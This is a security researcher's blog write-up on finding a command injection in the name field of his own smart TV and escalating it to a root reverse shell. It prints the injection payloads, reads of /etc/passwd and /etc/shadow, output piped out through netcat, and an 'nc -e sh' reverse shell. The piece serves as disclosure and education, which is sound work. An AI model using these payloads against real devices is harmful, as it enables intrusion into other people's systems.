How I Hacked my Smart TV from My Bed via a Command Injection

This article explains how I was able to exploit a command injection vulnerability in my Smart TV and use Netcat to gain remote shell access on the TV set.

It was one of those lazy evenings, just watching TV after a long day. I was tired but kept on thinking about a vulnerability I found earlier on in a router someone gave me. Finding a flaw in such a device is always quite fun because you often see things that aren’t meant to be seen by the users, except the developers and maybe the company’s tech support team.

Since I was very tired, I just wanted to set the sleep timer on the television and lie down. But while setting the timer I wondered about other possible menu functions, and if there any hidden features that are only meant for the support team or the developers. After a quick Google search on my mobile phone I found out that this brand of televisions has a code that opens a hidden menu.

After opening the settings and typing in the code on my remote control, another menu popped up on the left side of the screen. Almost all of the categories it showed weren’t accessible. I could only activate “Hotel Mode” and view the version number of the set.

I wanted to find out more about the TV. Within the settings, there was a category called “info”. I opened it and only saw some more version numbers. Then something else caught my attention; I could actually give my TV set a name.

The Vulnerability in My Smart Television Set

When you work in Information Security, you can’t help but to test some payloads you use on a daily basis on other input fields you encounter. It might be a GET parameter on your router’s web interface, the control panel of your new printer, or, in my case, a TV. So I thought it would be fun to rename my TV to “television `sleep 5`”.

The Sleep option on the Smart TV set

After entering and submitting the payload from my remote, the settings menu just froze for a long time. Once it was responsive again I changed the name so I could select other menu entries. I didn’t really think that I had just found a command injection or something similar. It’s not odd for my TV to hang for a few seconds before changes are made, but because now it took a longer time to become responsive, it made me curious.

The time did not match my input as it was way longer than five seconds. I thought it might have something to do with the backtick characters I injected. Maybe the TV did not expect them and threw an error which prevented it from loading. I typed in “television `sleep 0`” and tried it again. It loaded instantly.

There is something definitely happening, but was not sure what and how. So I decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below:

  • sleep(2) - 6 seconds
  • sleep(3) - 9 seconds
  • sleep(5) - 15 seconds

Running Commands on my Smart TV

I couldn’t believe it. There was actually a command injection in the first input field I tried. Freezing the menu was not an ultimate proof though, and it was not very useful in terms of exploitation. Since I only had 31 characters, minus the two backticks, my payload could only consist of 29 characters.

Below is a list of commands I tried to run on the TV, including an explanation of what they are and also a confirmation if they succeeded or not.





`which nc && sleep 2`

which is a linux command that returns the path to a program if it exists.

&& sleep 2 would freeze the menu for 3*2 seconds if the which function found nc on the TV set.



`which ssh && sleep 2`

I wanted to see if ssh was installed.



`which wget && sleep 2`

But it had wget



`cat /etc/passwd && sleep 2`

I wanted to see if /etc/passwd was readable. It was, and it would have been a big surprise if it wasn't



`cat /etc/shadow && sleep 2`

This one is interesting. When you have root privileges the /etc/shadow file is readable. I wanted to test if I am root but the file wasn’t readable.



`ls /etc/shadow && sleep 2`

This is the explanation why the shadow file couldn’t be opened. It just didn’t exist.



It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.

Getting Shell Access on the Smart TV

My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.

Finding the laptop's IP address from the command line

So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.

Using Netcat on the Smart TV

I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.

The researcher confirmed he had root access on the Smart TV set

As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la /|nc 5`

A directory listing of the file system on the Smart TV

Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 5 -e sh`

Gaining Shell access on the Smart TV via a Reverse Shell

I Had Shell Access on the Smart TV

Perfect. I now had a proper shell to work with. I was especially interested in messing with the TV in a visible way. There were multiple possibilities, such as changing the logo that’s being shown during the boot up process, or changing the apps icons. Since this is a smart TV, it has some preinstalled apps such as Youtube and Skype.

 A screenshot from the Smart TV

I noticed that most of the file system was read only, so I could not just change the logos. But there were pictures that were frequently changing, i.e. the channel preview boxes you can see while zapping between different TV channels. They contained snapshots of the programs that ran when you visited the channel. Obviously those had to be saved in a place where you could read and write files.

I noticed that the icon images were .png files. I listed all files with a .png extension by using the command find / -name *.png but the preview files were not there. However I tried the same search but this time for .jpg files, and I noticed some files like channelImage123.jpg. After uploading the files that I wanted to show, and replacing the corresponding channelImage files, this was the result.

Changing some of the images on the smart tv

Your TV is Not as Smart as You Would Think

Internet connected devices can have vulnerabilities in the weirdest of places, where you would expect them less. When I tested the sleep command I didn’t even think it would work at all, I did it just out of boredom. I also had no idea that my TV runs on linux and was even more than surprised to see that my vulnerabilities are exploitable.

This vulnerability is not exploitable remotely, however it convinced me that I was right to not connect my TV to the internet, and use its (not so) smart features. I am not really comfortable with the thought that someone can have control over my TV.

I think there are way cooler things and more vulnerabilities that I could exploit on the TV set. But it is not worth the heart pains I get when the device freezes, and I have to wait for a minute to see whether it was bricked or not. Because after all you watch television to relax and not to raise your blood pressure, except if you like to watch football.

Sven Morgenroth

About the Author

Sven Morgenroth - Senior Security Engineer